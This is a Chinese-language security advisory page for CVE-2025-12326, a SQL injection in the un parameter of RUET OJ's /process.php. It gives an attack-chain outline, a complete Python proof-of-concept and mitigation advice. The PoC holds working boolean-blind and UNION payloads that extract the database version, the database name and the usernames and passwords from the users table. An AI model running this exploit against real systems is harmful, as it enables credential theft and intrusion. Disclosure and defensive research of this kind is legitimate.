IPBUF安全漏洞报告
English
CVE-2025-12326 CVSS 7.3 高危

CVE-2025-12326 shawon100 RUET OJ SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12326
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
shawon100 RUET OJ

相关标签

SQL注入CVE-2025-12326shawon100 RUET OJ远程代码执行高危漏洞Web安全数据库注入/process.phpPOST请求处理器

漏洞概述

CVE-2025-12326是shawon100 RUET OJ系统中存在的高危SQL注入漏洞。该漏洞位于/process.php文件的POST请求处理器中,由于对用户输入的un参数未进行充分的输入验证和过滤,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。该漏洞CVSS评分达到7.3,属于高危级别,攻击向量为网络远程攻击,无需认证和用户交互即可发起攻击。攻击成功后可能导致敏感数据库信息泄露、数据库内容篡改,甚至可能在特定条件下实现远程代码执行。漏洞影响版本涵盖shawon100 RUET OJ up to commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5。由于该漏洞已被公开披露并存在可用的利用代码,建议受影响用户尽快采取防御措施。

技术细节

该SQL注入漏洞存在于shawon100 RUET OJ的/process.php文件中的POST请求处理器。漏洞的根本原因是对用户提交的un参数缺乏有效的输入过滤和SQL语句预编译处理。攻击者可以通过在un参数中注入恶意构造的SQL语句片段,如使用单引号闭合、UNION SELECT、布尔盲注等技术,绕过应用层的输入验证,直接与后端数据库进行交互。由于该组件处理的是POST请求,且未采用参数化查询或ORM框架,SQL语句直接拼接用户输入,导致注入漏洞的存在。攻击者可以利用该漏洞获取数据库中的用户凭证、配置文件信息、竞赛数据等敏感信息,甚至通过LOAD_FILE、INTO OUTFILE等语句写入恶意文件,实现进一步的渗透攻击。漏洞影响范围覆盖所有使用存在漏洞版本的RUET OJ系统的部署环境。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用的RUET OJ系统,访问/process.php端点并分析其POST请求参数结构
STEP 2
步骤2: 漏洞探测
通过在un参数中注入SQL测试语句(如单引号、AND 1=1、UNION SELECT等),验证是否存在SQL注入漏洞并判断数据库类型
STEP 3
步骤3: 数据提取
利用UNION注入或布尔盲注技术提取数据库结构、用户表、敏感配置信息等关键数据
STEP 4
步骤4: 权限提升
通过获取的管理员凭证登录后台管理系统,或利用数据库写入功能实现 webshell 上传
STEP 5
步骤5: 持久化控制
在成功获取系统权限后,植入后门程序、修改数据库内容或进一步横向渗透内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12326 SQL Injection PoC # Target: shawon100 RUET OJ /process.php # Parameter: un (POST Request Handler) def exploit_sqli(target_url, payload): """ SQL Injection exploitation function payload: malicious SQL injection string """ data = { 'un': payload # Vulnerable parameter } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Blind Boolean-based SQL Injection detection def check_vulnerability(target_url): """ Check if target is vulnerable by testing boolean response """ # True condition - should return expected result true_payload = "admin' AND 1=1 -- " # False condition - should return different result false_payload = "admin' AND 1=2 -- " true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] Target is vulnerable to SQL Injection!") return True else: print("[-] Target may not be vulnerable") return False # Database enumeration using UNION-based injection def extract_database_info(target_url): """ Extract database information using UNION injection """ # Database version version_payload = "' UNION SELECT NULL,version(),NULL,NULL -- " # Database name db_payload = "' UNION SELECT NULL,database(),NULL,NULL -- " # User list users_payload = "' UNION SELECT NULL,GROUP_CONCAT(user_id,':',username,':',password),NULL,NULL FROM users -- " print("[*] Extracting database version...") print(exploit_sqli(target_url, version_payload)) print("[*] Extracting database name...") print(exploit_sqli(target_url, db_payload)) print("[*] Extracting user credentials...") print(exploit_sqli(target_url, users_payload)) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12326.py <target_url>") print("Example: python cve-2025-12326.py http://target.com/process.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing target: {target}") if check_vulnerability(target): print("[*] Proceeding with data extraction...") extract_database_info(target)

影响范围

shawon100 RUET OJ <= 18fa45b0a669fa1098a0b8fc629cf6856369d9a5

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 在Web应用层部署输入验证中间件,过滤SQL特殊字符;2) 通过Nginx/Apache配置限制对/process.php的访问,添加速率限制;3) 暂时禁用存在漏洞的POST请求处理器功能;4) 在数据库层限制应用程序账户的权限,禁用INTO OUTFILE等危险函数;5) 启用数据库查询日志监控,及时发现异常SQL注入行为;6) 建议使用云WAF或自建WAF规则库添加CVE-2025-12326专项防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表